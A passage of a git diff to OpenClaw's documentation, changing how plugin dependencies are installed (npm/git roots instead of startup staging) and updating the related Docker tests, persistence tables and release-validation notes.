existing workspace/session files. It runs package update plus non-interactive doctor without live provider or channel keys, then starts a loopback Gateway and checks config/state preservation plus startup/status budgets. - Published upgrade survivor smoke: `pnpm test:docker:published-upgrade-survivor` installs `openclaw@latest` by default, seeds realistic existing-user files, configures that baseline with a baked command recipe, validates the resulting config, updates that published install to the candidate tarball, runs non-interactive doctor, writes `.artifacts/upgrade-survivor/summary.json`, then starts a loopback Gateway and checks configured intents, state preservation, startup, `/healthz`, `/readyz`, and RPC status budgets. Override one baseline with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPEC`, ask the aggregate scheduler to expand exact baselines with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPECS`, and expand issue-shaped fixtures with `OPENCLAW_UPGRADE_SURVIVOR_SCENARIOS` such as `reported-issues`; Package Acceptance exposes those as `published_upgrade_survivor_baseline`, `published_upgrade_survivor_baselines`, and `published_upgrade_survivor_scenarios`. - Session runtime context smoke: `pnpm test:docker:session-runtime-context` verifies hidden runtime context transcript persistence plus doctor repair of affected duplicated prompt-rewrite branches. - Bun global install smoke: `bash scripts/e2e/bun-global-install-smoke.sh` packs the current tree, installs it with `bun install -g` in an isolated home, and verifies `openclaw infer image providers --json` returns bundled image providers instead of hanging. Reuse a prebuilt tarball with `OPENCLAW_BUN_GLOBAL_SMOKE_PACKAGE_TGZ=/path/to/openclaw-*.tgz`, skip the host build with `OPENCLAW_BUN_GLOBAL_SMOKE_HOST_BUILD=0`, or copy `dist/` from a built Docker image with `OPENCLAW_BUN_GLOBAL_SMOKE_DIST_IMAGE=openclaw-dockerfile-smoke:local`. @@ -634,9 +634,7 @@ The live-model Docker runners also bind-mount only the needed CLI auth homes (or Set `OPENCLAW_PLUGINS_E2E_CLAWHUB=0` to skip the ClawHub block, or override the default kitchen-sink package/runtime pair with `OPENCLAW_PLUGINS_E2E_CLAWHUB_SPEC` and `OPENCLAW_PLUGINS_E2E_CLAWHUB_ID`. Without `OPENCLAW_CLAWHUB_URL`/`CLAWHUB_URL`, the test uses a hermetic local ClawHub fixture server. - Plugin update unchanged smoke: `pnpm test:docker:plugin-update` (script: `scripts/e2e/plugin-update-unchanged-docker.sh`) - Config reload metadata smoke: `pnpm test:docker:config-reload` (script: `scripts/e2e/config-reload-source-docker.sh`) -- Bundled plugin runtime deps: `pnpm test:docker:bundled-channel-deps` builds a small Docker runner image by default, builds and packs OpenClaw once on the host, then mounts that tarball into each Linux install scenario. Reuse the image with `OPENCLAW_SKIP_DOCKER_BUILD=1`, skip the host rebuild after a fresh local build with `OPENCLAW_BUNDLED_CHANNEL_HOST_BUILD=0`, or point at an existing tarball with `OPENCLAW_CURRENT_PACKAGE_TGZ=/path/to/openclaw-*.tgz`. The full Docker aggregate and release-path bundled-channel chunks pre-pack this tarball once, then shard bundled channel checks into independent lanes, including separate update lanes for Telegram, Discord, Slack, Feishu, memory-lancedb, and ACPX. Release chunks split channel smokes, update targets, and setup/runtime contracts into `bundled-channels-core`, `bundled-channels-update-a`, `bundled-channels-update-b`, and `bundled-channels-contracts`; the aggregate `bundled-channels` chunk remains available for manual reruns. The release workflow also splits provider installer chunks and bundled plugin install/uninstall chunks; legacy `package-update`, `plugins-runtime`, and `plugins-integrations` chunks remain aggregate aliases for manual reruns. Use `OPENCLAW_BUNDLED_CHANNELS=telegram,slack` to narrow the channel matrix when running the bundled lane directly, or `OPENCLAW_BUNDLED_CHANNEL_UPDATE_TARGETS=telegram,acpx` to narrow the update scenario. Per-scenario Docker runs default to `OPENCLAW_BUNDLED_CHANNEL_DOCKER_RUN_TIMEOUT=900s`; the multi-target update scenario defaults to `OPENCLAW_BUNDLED_CHANNEL_UPDATE_DOCKER_RUN_TIMEOUT=2400s`. The lane also verifies that `channels..enabled=false` and `plugins.entries..enabled=false` suppress doctor/runtime-dependency repair. -- Narrow bundled plugin runtime deps while iterating by disabling unrelated scenarios, for example: - `OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 pnpm test:docker:bundled-channel-deps`. +- Plugins: `pnpm test:docker:plugins` covers install smoke, local ClawHub fixture installs, marketplace updates, npm package dependency installs, and Claude-bundle enable/inspect. `pnpm test:docker:plugin-update` covers unchanged update behavior for installed plugins. To prebuild and reuse the shared functional image manually: diff --git a/docs/install/docker-vm-runtime.md b/docs/install/docker-vm-runtime.md index 50e631e50b3..43e1bc2ac07 100644 --- a/docs/install/docker-vm-runtime.md +++ b/docs/install/docker-vm-runtime.md @@ -122,19 +122,19 @@ Expected output: OpenClaw runs in Docker, but Docker is not the source of truth. All long-lived state must survive restarts, rebuilds, and reboots. -| Component | Location | Persistence mechanism | Notes | -| ------------------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------- | -| Gateway config | `/home/node/.openclaw/` | Host volume mount | Includes `openclaw.json`, `.env` | -| Model auth profiles | `/home/node/.openclaw/agents/` | Host volume mount | `agents//agent/auth-profiles.json` (OAuth, API keys) | -| Skill configs | `/home/node/.openclaw/skills/` | Host volume mount | Skill-level state | -| Agent workspace | `/home/node/.openclaw/workspace/` | Host volume mount | Code and agent artifacts | -| WhatsApp session | `/home/node/.openclaw/` | Host volume mount | Preserves QR login | -| Gmail keyring | `/home/node/.openclaw/` | Host volume + password | Requires `GOG_KEYRING_PASSWORD` | -| Plugin runtime deps | `/var/lib/openclaw/plugin-runtime-deps/` | Docker named volume | Generated bundled plugin deps and runtime mirrors | -| External binaries | `/usr/local/bin/` | Docker image | Must be baked at build time | -| Node runtime | Container filesystem | Docker image | Rebuilt every image build | -| OS packages | Container filesystem | Docker image | Do not install at runtime | -| Docker container | Ephemeral | Restartable | Safe to destroy | +| Component | Location | Persistence mechanism | Notes | +| ------------------- | ------------------------------------------------------ | ---------------------- | ------------------------------------------------------------- | +| Gateway config | `/home/node/.openclaw/` | Host volume mount | Includes `openclaw.json`, `.env` | +| Model auth profiles | `/home/node/.openclaw/agents/` | Host volume mount | `agents//agent/auth-profiles.json` (OAuth, API keys) | +| Skill configs | `/home/node/.openclaw/skills/` | Host volume mount | Skill-level state | +| Agent workspace | `/home/node/.openclaw/workspace/` | Host volume mount | Code and agent artifacts | +| WhatsApp session | `/home/node/.openclaw/` | Host volume mount | Preserves QR login | +| Gmail keyring | `/home/node/.openclaw/` | Host volume + password | Requires `GOG_KEYRING_PASSWORD` | +| Plugin packages | `/home/node/.openclaw/npm`, `/home/node/.openclaw/git` | Host volume mount | Downloadable plugin package roots | +| External binaries | `/usr/local/bin/` | Docker image | Must be baked at build time | +| Node runtime | Container filesystem | Docker image | Rebuilt every image build | +| OS packages | Container filesystem | Docker image | Do not install at runtime | +| Docker container | Ephemeral | Restartable | Safe to destroy | ## Updates diff --git a/docs/install/docker.md b/docs/install/docker.md index d4e0864ca5a..20e03099e9e 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -126,10 +126,9 @@ The setup script accepts these optional environment variables: | ------------------------------------------ | --------------------------------------------------------------- | | `OPENCLAW_IMAGE` | Use a remote image instead of building locally | | `OPENCLAW_DOCKER_APT_PACKAGES` | Install extra apt packages during build (space-separated) | -| `OPENCLAW_EXTENSIONS` | Pre-install plugin deps at build time (space-separated names) | +| `OPENCLAW_EXTENSIONS` | Include selected bundled plugin helpers at build time | | `OPENCLAW_EXTRA_MOUNTS` | Extra host bind mounts (comma-separated `source:target[:opts]`) | | `OPENCLAW_HOME_VOLUME` | Persist `/home/node` in a named Docker volume | -| `OPENCLAW_PLUGIN_STAGE_DIR` | Container path for generated bundled plugin deps and mirrors | | `OPENCLAW_SANDBOX` | Opt in to sandbox bootstrap (`1`, `true`, `yes`, `on`) | | `OPENCLAW_SKIP_ONBOARDING` | Skip the interactive onboarding step (`1`, `true`, `yes`, `on`) | | `OPENCLAW_DOCKER_SOCKET` | Override Docker socket path | @@ -163,11 +162,8 @@ export OTEL_SERVICE_NAME="openclaw-gateway" ``` The official OpenClaw Docker release image includes the bundled -`diagnostics-otel` plugin source. Depending on the image and cache state, the -Gateway may still stage plugin-local OpenTelemetry runtime dependencies the -first time the plugin is enabled, so allow that first boot to reach the package -registry or prewarm the image in your release lane. To enable export, allow and -enable the `diagnostics-otel` plugin in config, then set +`diagnostics-otel` plugin source. To enable export, allow and enable the +`diagnostics-otel` plugin in config, then set `diagnostics.otel.enabled=true` or use the config example in [OpenTelemetry export](/gateway/opentelemetry). Collector auth headers are configured through `diagnostics.otel.headers`, not through Docker environment @@ -273,24 +269,16 @@ That mounted config directory is where OpenClaw keeps: - `agents//agent/auth-profiles.json` for stored provider OAuth/API-key auth - `.env` for env-backed runtime secrets such as `OPENCLAW_GATEWAY_TOKEN` -Bundled plugin runtime dependencies and mirrored runtime files are generated -state, not user config. Compose stores them in the named Docker volume -`openclaw-plugin-runtime-deps` mounted at -`/var/lib/openclaw/plugin-runtime-deps`. Keeping that high-churn tree out of the -host config bind mount avoids slow Docker Desktop/WSL file operations and stale -Windows handles during cold Gateway startup. - -The default Compose file sets `OPENCLAW_PLUGIN_STAGE_DIR` to that path for both -`openclaw-gateway` and `openclaw-cli`, so `openclaw doctor --fix`, channel -login/setup commands, and Gateway startup all use the same generated runtime -volume. +Installed downloadable plugins store their package state under the mounted +OpenClaw home, so plugin install records and package roots survive container +replacement. Gateway startup does not generate bundled-plugin dependency trees. For full persistence details on VM deployments, see [Docker VM Runtime - What persists where](/install/docker-vm-runtime#what-persists-where). -**Disk growth hotspots:** watch `media/`, session JSONL files, `cron/runs/*.jsonl`, -the `openclaw-plugin-runtime-deps` Docker volume, and rolling file logs under -`/tmp/openclaw/`. +**Disk growth hotspots:** watch `media/`, session JSONL files, +`cron/runs/*.jsonl`, installed plugin package roots, and rolling file logs +under `/tmp/openclaw/`. ### Shell helpers (optional) diff --git a/docs/install/updating.md b/docs/install/updating.md index 850db51f019..0e7d16fe4bb 100644 --- a/docs/install/updating.md +++ b/docs/install/updating.md @@ -107,37 +107,21 @@ bun add -g openclaw@latest - OpenClaw treats packaged global installs as read-only at runtime, even when the global package directory is writable by the current user. Bundled plugin runtime dependencies are staged into a writable runtime directory instead of mutating the package tree. This keeps `openclaw update` from racing with a running gateway or local agent that is repairing plugin dependencies during the same install. + OpenClaw treats packaged global installs as read-only at runtime, even when the global package directory is writable by the current user. Plugin package installs live in OpenClaw-owned npm/git roots under the user config directory, and Gateway startup does not mutate the OpenClaw package tree. - Some Linux npm setups install global packages under root-owned directories such as `/usr/lib/node_modules/openclaw`. OpenClaw supports that layout through the same external staging path. + Some Linux npm setups install global packages under root-owned directories such as `/usr/lib/node_modules/openclaw`. OpenClaw supports that layout because plugin install/update commands write outside that global package directory. - Set a writable stage directory that is included in `ReadWritePaths`: + Give OpenClaw write access to its config/state roots so explicit plugin installs, plugin updates, and doctor cleanup can persist their changes: ```ini - Environment=OPENCLAW_PLUGIN_STAGE_DIR=/var/lib/openclaw/plugin-runtime-deps ReadWritePaths=/var/lib/openclaw /home/openclaw/.openclaw /tmp ``` - `OPENCLAW_PLUGIN_STAGE_DIR` also accepts a path list. OpenClaw resolves bundled plugin runtime dependencies left-to-right across the listed roots, treats earlier roots as read-only preinstalled layers, and installs or repairs only into the final writable root: - - ```ini - Environment=OPENCLAW_PLUGIN_STAGE_DIR=/opt/openclaw/plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps - ReadWritePaths=/var/lib/openclaw /home/openclaw/.openclaw /tmp - ``` - - If `OPENCLAW_PLUGIN_STAGE_DIR` is not set, OpenClaw uses `$STATE_DIRECTORY` when systemd provides it, then falls back to `~/.openclaw/plugin-runtime-deps`. The repair step treats that stage as an OpenClaw-owned local package root and ignores user npm prefix and global settings, so global-install npm config does not redirect bundled plugin dependencies into `~/node_modules` or the global package tree. - - Before package updates and bundled runtime-dependency repairs, OpenClaw tries a best-effort disk-space check for the target volume. Low space produces a warning with the checked path, but does not block the update because filesystem quotas, snapshots, and network volumes can change after the check. The actual npm install, copy, and post-install verification remain authoritative. - - - Packaged installs keep bundled plugin runtime dependencies out of the read-only package tree. On startup and during `openclaw doctor --fix`, OpenClaw repairs runtime dependencies only for bundled plugins that are active in config, active through legacy channel config, or enabled by their bundled manifest default. Persisted channel auth state alone does not trigger Gateway startup runtime-dependency repair. - - Explicit disablement wins. A disabled plugin or channel does not get its runtime dependencies repaired just because it exists in the package. External plugins and custom load paths still use `openclaw plugins install` or `openclaw plugins update`. - + Before package updates and explicit plugin installs, OpenClaw tries a best-effort disk-space check for the target volume. Low space produces a warning with the checked path, but does not block the update because filesystem quotas, snapshots, and network volumes can change after the check. The actual package-manager install and post-install verification remain authoritative. diff --git a/docs/plugins/architecture-internals.md b/docs/plugins/architecture-internals.md index 66e3d8ab7cd..98f04e25933 100644 --- a/docs/plugins/architecture-internals.md +++ b/docs/plugins/architecture-internals.md @@ -118,8 +118,7 @@ loader state when code or installed artifacts are actually loaded, such as: - `PluginLoaderCacheState` and compatible active runtime registries - jiti/module caches and public-surface loader caches used to avoid importing the same runtime surface repeatedly -- runtime dependency mirrors and filesystem caches for installed plugin - artifacts +- filesystem caches for installed plugin artifacts - short-lived per-call maps for path normalization or duplicate resolution Those caches are data-plane implementation details. They must not answer diff --git a/docs/plugins/bundles.md b/docs/plugins/bundles.md index c4665436f28..54dc2273fe4 100644 --- a/docs/plugins/bundles.md +++ b/docs/plugins/bundles.md @@ -258,13 +258,12 @@ dual-format packages from being partially installed as bundles. - Third-party compatible bundles do not get startup `npm install` repair. They should be installed through `openclaw plugins install` and ship everything they need in the installed plugin directory. -- OpenClaw-owned packaged bundled plugins have a narrow exception: when one is - enabled, Gateway startup can repair missing declared runtime dependencies - before import. Operators can inspect or repair that stage with - `openclaw plugins deps`. -- The release pipeline is still responsible for shipping a complete bundled - dependency payload when possible (see the postpublish verification rule in - [Releasing](/reference/RELEASING)). +- OpenClaw-owned bundled plugins are either shipped lightweight in core or + downloadable through the plugin installer. Gateway startup never runs a + package manager for them. +- `openclaw doctor --fix` removes legacy staged dependency directories and can + install configured downloadable plugins that are missing from the local + plugin index. ## Security diff --git a/docs/plugins/codex-harness.md b/docs/plugins/codex-harness.md index d7175aadbc4..426dedf1f28 100644 --- a/docs/plugins/codex-harness.md +++ b/docs/plugins/codex-harness.md @@ -458,11 +458,10 @@ By default, the plugin starts OpenClaw's managed Codex binary locally with: codex app-server --listen stdio:// ``` -The managed binary is declared as a bundled plugin runtime dependency and staged -with the rest of the `codex` plugin dependencies. This keeps the app-server -version tied to the bundled plugin instead of whichever separate Codex CLI -happens to be installed locally. Set `appServer.command` only when you -intentionally want to run a different executable. +The managed binary is shipped with the `codex` plugin package. This keeps the +app-server version tied to the bundled plugin instead of whichever separate +Codex CLI happens to be installed locally. Set `appServer.command` only when +you intentionally want to run a different executable. By default, OpenClaw starts local Codex harness sessions in YOLO mode: `approvalPolicy: "never"`, `approvalsReviewer: "user"`, and diff --git a/docs/plugins/dependency-resolution.md b/docs/plugins/dependency-resolution.md index 2f77f9be901..fae919e4679 100644 --- a/docs/plugins/dependency-resolution.md +++ b/docs/plugins/dependency-resolution.md @@ -1,214 +1,103 @@ --- -summary: "How OpenClaw plans, stages, and repairs bundled plugin runtime dependencies" +summary: "How OpenClaw installs plugin packages and resolves plugin dependencies" read_when: - - You are debugging bundled plugin runtime dependency repair + - You are debugging plugin package installs - You are changing plugin startup, doctor, or package-manager install behavior - You are maintaining packaged OpenClaw installs or bundled plugin manifests title: "Plugin dependency resolution" sidebarTitle: "Dependencies" --- -OpenClaw does not install every bundled plugin dependency tree at package install -time. It first derives an effective plugin plan from config and plugin metadata, -then stages runtime dependencies only for bundled OpenClaw-owned plugins that -the plan can actually load. +# Plugin dependency resolution -This page covers packaged runtime dependencies for bundled OpenClaw plugins. -Third-party plugins and custom plugin paths still use explicit plugin -installation commands such as `openclaw plugins install` and -`openclaw plugins update`. +OpenClaw keeps plugin dependency work at install/update time. Runtime loading +does not run package managers, repair dependency trees, or mutate the OpenClaw +package directory. ## Responsibility split -OpenClaw owns the plan and policy: +Plugin packages own their dependency graph: -- which plugins are active for this config -- which dependency roots are writable or read-only -- when repair is allowed -- which plugin ids are staged for startup -- final checks before importing plugin runtime modules +- runtime dependencies live in the plugin package `dependencies` or + `optionalDependencies` +- SDK/core imports are peer or supplied OpenClaw imports +- local development plugins bring their own already-installed dependencies +- npm and git plugins are installed into OpenClaw-owned package roots -The package manager owns dependency convergence: +OpenClaw owns only the plugin lifecycle: -- package graph resolution -- production, optional, and peer dependency handling -- `node_modules` layout -- package integrity -- lock and install metadata - -In practice, OpenClaw should decide what needs to exist. `pnpm` or `npm` should -make the filesystem match that decision. - -OpenClaw also owns the per-install-root coordination lock. Package managers -protect their own install transaction, but they do not serialize OpenClaw's -manifest writes, isolated-stage copy/rename, final validation, or plugin import -against another Gateway, doctor, or CLI process touching the same runtime -dependency root. - -## Effective plugin plan - -The effective plugin plan is derived from config plus discovered plugin -metadata. These inputs can activate bundled plugin runtime dependencies: - -- `plugins.entries..enabled` -- `plugins.allow`, `plugins.deny`, and `plugins.enabled` -- legacy channel config such as `channels.telegram.enabled` -- configured providers, models, or CLI backend references that require a plugin -- bundled manifest defaults such as `enabledByDefault` -- the installed plugin index and bundled manifest metadata - -Explicit disablement wins. A disabled plugin, denied plugin id, disabled plugin -system, or disabled channel does not trigger runtime dependency repair. Persisted -auth state alone also does not activate a bundled channel or provider. - -The plugin plan is the stable input. The generated dependency materialization is -an output of that plan. - -## Startup flow - -Gateway startup parses config and builds the startup plugin lookup table before -plugin runtime modules are loaded. Startup then stages runtime dependencies only -for the `startupPluginIds` selected by that plan. - -For packaged installs, dependency staging is allowed before plugin import. After -staging, the runtime loader imports startup plugins with install repair disabled; -at that point missing dependency materialization is treated as a load failure, -not another repair loop. - -When startup dependency staging is deferred behind the HTTP bind, Gateway -readiness stays blocked on the `plugin-runtime-deps` reason until the selected -startup plugin dependencies are materialized and the startup plugin runtime has -loaded. - -## When repair runs - -Runtime dependency repair should run when one of these is true: - -- the effective plugin plan changed and adds bundled plugins that need runtime - dependencies -- the generated dependency manifest no longer matches the effective plan -- expected installed package sentinels are missing or incomplete -- `openclaw doctor --fix` or `openclaw plugins deps --repair` was requested - -Runtime dependency repair should not run just because OpenClaw started. A normal -startup with an unchanged plan and complete dependency materialization should -skip package-manager work. - -Commands that edit config, enable plugins, or repair doctor findings can enter -plugin plan mode once, materialize the newly required bundled dependencies, then -return to the normal command flow. Local `openclaw onboard` and -`openclaw configure` do this automatically after they successfully write config, -so the next Gateway run does not discover missing bundled plugin packages after -startup has already begun. Remote onboarding/configure stays read-only for local -runtime deps. - -## Hot reload rule - -Hot reload paths that can change active plugins must go back through plugin plan -mode before loading plugin runtime. The reload should compare the new effective -plugin plan with the previous one, stage missing dependencies for newly active -bundled plugins, then load or restart the affected runtime. - -If a config reload does not change the effective plugin plan, it should not -repair bundled runtime dependencies. - -## Package manager execution - -OpenClaw writes a generated install manifest for the selected bundled runtime -dependencies and runs the package manager in the runtime dependency install -root. It prefers `pnpm` when available and falls back to the Node-bundled `npm` -runner. - -The `pnpm` path uses production dependencies, disables lifecycle scripts, ignores -the workspace, and keeps the store inside the install root: - -```bash -pnpm install \ - --prod \ - --ignore-scripts \ - --ignore-workspace \ - --config.frozen-lockfile=false \ - --config.minimum-release-age=0 \ - --config.store-dir=/.openclaw-pnpm-store \ - --config.node-linker=hoisted \ - --config.virtual-store-dir=.pnpm -``` - -The `npm` fallback uses the safe npm install wrapper with production -dependencies, lifecycle scripts disabled, workspace mode disabled, audit -disabled, fund output disabled, legacy peer dependency behavior, and package-lock -output enabled for the generated install root. - -After install, OpenClaw validates the staged dependency tree before making it -visible to the runtime dependency root. Isolated staging is copied into the -runtime dependency root and validated again. - -The whole repair/materialization section is guarded by an install-root lock. -Current lock owners record PID, process start-time when available, and creation -time. Legacy locks without process start-time or creation-time evidence are only -reclaimed by filesystem age, so recycled Docker PID 1 locks recover without -expiring normal long-running current installs by age alone. +- discover the plugin source +- install or update the package when explicitly requested +- record the install metadata +- load the plugin entrypoint +- fail with an actionable error when dependencies are missing ## Install roots -Packaged installs must not mutate read-only package directories. OpenClaw can -read dependency roots from packaged layers, but writes generated runtime -dependencies to a writable stage such as: +OpenClaw uses stable per-source roots: -- `OPENCLAW_PLUGIN_STAGE_DIR` -- `$STATE_DIRECTORY` -- `~/.openclaw/plugin-runtime-deps` -- `/var/lib/openclaw/plugin-runtime-deps` in container-style installs +- npm packages install under `~/.openclaw/npm` +- git packages clone under `~/.openclaw/git` +- local/path/archive installs are copied or referenced without dependency repair -The writable root is the final materialization target. Older read-only roots are -kept as compatibility layers only when needed. - -When a packaged OpenClaw update changes the versioned writable root but the -selected bundled-plugin dependency plan is still satisfied by a previous staged -root, repair reuses that previous `node_modules` tree instead of running the -package manager again. The new versioned root still gets its own current package -runtime mirror, so plugin code comes from the current OpenClaw package while -unchanged dependency trees are shared across updates. Reuse skips previous roots -with an active OpenClaw runtime-dependency lock, so a new root does not link to a -dependency tree that another Gateway, doctor, or CLI process is currently -repairing. - -## Doctor and CLI commands - -Use `plugins deps` to inspect or repair bundled plugin runtime dependency -materialization: +npm installs run in the npm root with: ```bash -openclaw plugins deps -openclaw plugins deps --json -openclaw plugins deps --repair -openclaw plugins deps --prune +npm install --prefix ~/.openclaw/npm --omit=dev --ignore-scripts --no-audit --no-fund ``` -Use doctor when the dependency state is part of broader install health: +git installs clone or refresh the repository, then run: ```bash -openclaw doctor +npm install --omit=dev --ignore-scripts --no-audit --no-fund +``` + +The installed plugin then loads from that package directory, so package-local +`node_modules` resolution works the same way it does for a normal Node package. + +## Local plugins + +Local plugins are treated as developer-controlled directories. OpenClaw does not +run `npm install`, `pnpm install`, or dependency repair for them. If a local +plugin has dependencies, install them in that plugin before loading it. + +TypeScript local plugins can use the emergency Jiti path. Packaged JavaScript +plugins load through native import/require instead of Jiti. + +## Startup and reload + +Gateway startup and config reload never install plugin dependencies. They read +the plugin install records, compute the entrypoint, and load it. + +If a dependency is missing at runtime, the plugin fails to load and the error +should point the operator to an explicit fix: + +```bash +openclaw plugins update +openclaw plugins install openclaw doctor --fix ``` -`plugins deps` and doctor operate on OpenClaw-owned bundled plugin runtime -dependencies selected by the effective plugin plan. They are not third-party -plugin install or update commands. +`doctor --fix` can clean legacy OpenClaw-generated dependency state and install +configured downloadable plugins that are missing from the local install records. +It does not repair dependencies for an already-installed local plugin. -## Troubleshooting +## Bundled plugins -If a packaged install reports missing bundled runtime dependencies: +Lightweight and core-critical bundled plugins are shipped as part of OpenClaw. +They should either have no heavy runtime dependency tree or be moved out to a +downloadable package on ClawHub/npm. -1. Run `openclaw plugins deps --json` to inspect the selected plan and missing - packages. -2. Run `openclaw plugins deps --repair` or `openclaw doctor --fix` to repair the - writable dependency stage. -3. If the install root is read-only, set `OPENCLAW_PLUGIN_STAGE_DIR` to a - writable path and rerun repair. -4. Restart Gateway after repair if the missing dependency blocked startup plugin - loading. +Bundled plugin manifests must not request dependency staging. Large or optional +plugin functionality should be packaged as a normal plugin and installed through +the same npm/git/ClawHub path as third-party plugins. -In source checkouts, the workspace install usually provides bundled plugin -dependencies. Run `pnpm install` for source dependency repair instead of using -packaged runtime dependency repair as the first step. +## Legacy cleanup + +Older OpenClaw versions generated bundled-plugin dependency roots at startup or +during doctor repair. Current doctor cleanup removes those stale directories and +symlinks when `--fix` is used, including old `plugin-runtime-deps` roots, +`.openclaw-runtime-deps*` manifests, generated plugin `node_modules`, install +stage directories, and package-local pnpm stores. + +These paths are legacy debris only. New installs should not create them. diff --git a/docs/plugins/memory-lancedb.md b/docs/plugins/memory-lancedb.md index cf184a4681d..be38cffe7d6 100644 --- a/docs/plugins/memory-lancedb.md +++ b/docs/plugins/memory-lancedb.md @@ -294,9 +294,9 @@ supports `${ENV_VAR}` expansion: ## Runtime dependencies `memory-lancedb` depends on the native `@lancedb/lancedb` package. Packaged -OpenClaw installs first try the bundled runtime dependency and can repair the -plugin runtime dependency under OpenClaw state when the bundled import is not -available. +OpenClaw treats that package as part of the plugin package. Gateway startup +does not repair plugin dependencies; if the dependency is missing, reinstall or +update the plugin package and restart the Gateway. If an older install logs a missing `dist/package.json` or missing `@lancedb/lancedb` error during plugin load, upgrade OpenClaw and restart the diff --git a/docs/plugins/sdk-overview.md b/docs/plugins/sdk-overview.md index 36c78bad9af..4b155360103 100644 --- a/docs/plugins/sdk-overview.md +++ b/docs/plugins/sdk-overview.md @@ -355,8 +355,8 @@ Facade-loaded bundled plugin public surfaces (`api.ts`, `runtime-api.ts`, active runtime config snapshot when OpenClaw is already running. If no runtime snapshot exists yet, they fall back to the resolved config file on disk. Packaged bundled plugin facades should be loaded through OpenClaw's plugin -facade loaders; direct imports from `dist/extensions/...` bypass staged runtime -dependency mirrors that packaged installs use for plugin-owned dependencies. +facade loaders; direct imports from `dist/extensions/...` bypass the manifest +and runtime sidecar checks that packaged installs use for plugin-owned code. Provider plugins can expose a narrow plugin-local contract barrel when a helper is intentionally provider-specific and does not belong in a generic SDK diff --git a/docs/plugins/sdk-setup.md b/docs/plugins/sdk-setup.md index 11de764c9b5..e783a972e84 100644 --- a/docs/plugins/sdk-setup.md +++ b/docs/plugins/sdk-setup.md @@ -513,14 +513,14 @@ openclaw plugins install ``` -For npm-sourced installs, `openclaw plugins install` runs project-local `npm install --ignore-scripts` (no lifecycle scripts), ignoring inherited global npm install settings. Keep plugin dependency trees pure JS/TS and avoid packages that require `postinstall` builds. +For npm-sourced installs, `openclaw plugins install` installs the package under `~/.openclaw/npm` with lifecycle scripts disabled. Keep plugin dependency trees pure JS/TS and avoid packages that require `postinstall` builds. -Bundled OpenClaw-owned plugins are the only startup repair exception: when a packaged install sees one enabled by plugin config, legacy channel config, or its bundled default-enabled manifest, startup installs that plugin's missing runtime dependencies before import. Operators can inspect or repair that stage with `openclaw plugins deps`. Third-party plugins should not rely on startup installs; keep using the explicit plugin installer. +Gateway startup does not install plugin dependencies. npm/git/ClawHub install flows own dependency convergence; local plugins must already have their dependencies installed. -Bundled package-level runtime deps are explicit metadata, not inferred from built JavaScript at gateway startup. If a shared OpenClaw root dependency must be available inside the external bundled-plugin runtime mirror, declare it in `openclaw.bundle.mirroredRootRuntimeDependencies` in the root package manifest. +Bundled package metadata is explicit, not inferred from built JavaScript at gateway startup. Runtime dependencies belong in the plugin package that owns them; packaged OpenClaw startup never repairs or mirrors plugin dependencies. ## Related diff --git a/docs/reference/RELEASING.md b/docs/reference/RELEASING.md index 9d60f73e9f4..4332bb85f5b 100644 --- a/docs/reference/RELEASING.md +++ b/docs/reference/RELEASING.md @@ -211,11 +211,10 @@ Validation` or from the `main`/release workflow ref so workflow logic and - npm release preflight fails closed unless the tarball includes both `dist/control-ui/index.html` and a non-empty `dist/control-ui/assets/` payload so we do not ship an empty browser dashboard again -- Post-publish verification also checks that the published registry install - contains non-empty bundled plugin runtime deps under the root `dist/*` - layout. A release that ships with missing or empty bundled plugin - dependency payloads fails the postpublish verifier and cannot be promoted - to `latest`. +- Post-publish verification also checks that published plugin entrypoints and + package metadata are present in the installed registry layout. A release that + ships missing plugin runtime payloads fails the postpublish verifier and + cannot be promoted to `latest`. - `pnpm test:install:smoke` also enforces the npm pack `unpackedSize` budget on the candidate update tarball, so installer e2e catches accidental pack bloat before the release publish path @@ -370,13 +369,8 @@ Release Docker coverage includes: `plugins-runtime-install-a`, `plugins-runtime-install-b`, `plugins-runtime-install-c`, `plugins-runtime-install-d`, `plugins-runtime-install-e`, `plugins-runtime-install-f`, - `plugins-runtime-install-g`, `plugins-runtime-install-h`, - `bundled-channels-core`, `bundled-channels-update-a`, - `bundled-channels-update-discord`, `bundled-channels-update-b`, and - `bundled-channels-contracts` + `plugins-runtime-install-g`, and `plugins-runtime-install-h` - OpenWebUI coverage inside the `plugins-runtime-services` chunk when requested -- split bundled-channel dependency lanes across channel-smoke, update-target, - and setup/runtime contract chunks instead of one large bundled-channel job - split bundled plugin install/uninstall lanes `bundled-plugin-install-uninstall-0` through `bundled-plugin-install-uninstall-23` @@ -430,11 +424,11 @@ Supported candidate sources: `OpenClaw Release Checks` runs Package Acceptance with `source=ref`, `package_ref=`, `suite_profile=custom`, -`docker_lanes=bundled-channel-deps-compat plugins-offline`, and -`telegram_mode=mock-openai`. The release-path Docker chunks cover the -overlapping install, update, and plugin-update lanes; Package Acceptance keeps -artifact-native bundled-channel compat, offline plugin fixtures, and Telegram -package QA against the same resolved tarball. It is the GitHub-native +`docker_lanes=plugins-offline plugin-update`, and `telegram_mode=mock-openai`. +The release-path Docker chunks cover the overlapping install, update, and +plugin-update lanes; Package Acceptance keeps offline plugin fixtures, plugin +update, and Telegram package QA against the same resolved tarball. It is the +GitHub-native replacement for most of the package/update coverage that previously required Parallels. Cross-OS release checks still matter for OS-specific onboarding, installer, and platform behavior, but package/update product validation should diff --git a/docs/reference/full-release-validation.md b/docs/reference/full-release-validation.md index c241d94dc03..15383efce56 100644 --- a/docs/reference/full-release-validation.md +++ b/docs/reference/full-release-validation.md @@ -53,11 +53,11 @@ or Docker-facing stages need it. | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Release target | **Job:** `Resolve target ref`
**Backing workflow:** none
**Tests:** selected ref, optional expected SHA, profile, rerun group, and focused live suite filter.
**Rerun:** `rerun_group=release-checks`. | | Package artifact | **Job:** `Prepare release package artifact`
**Backing workflow:** none
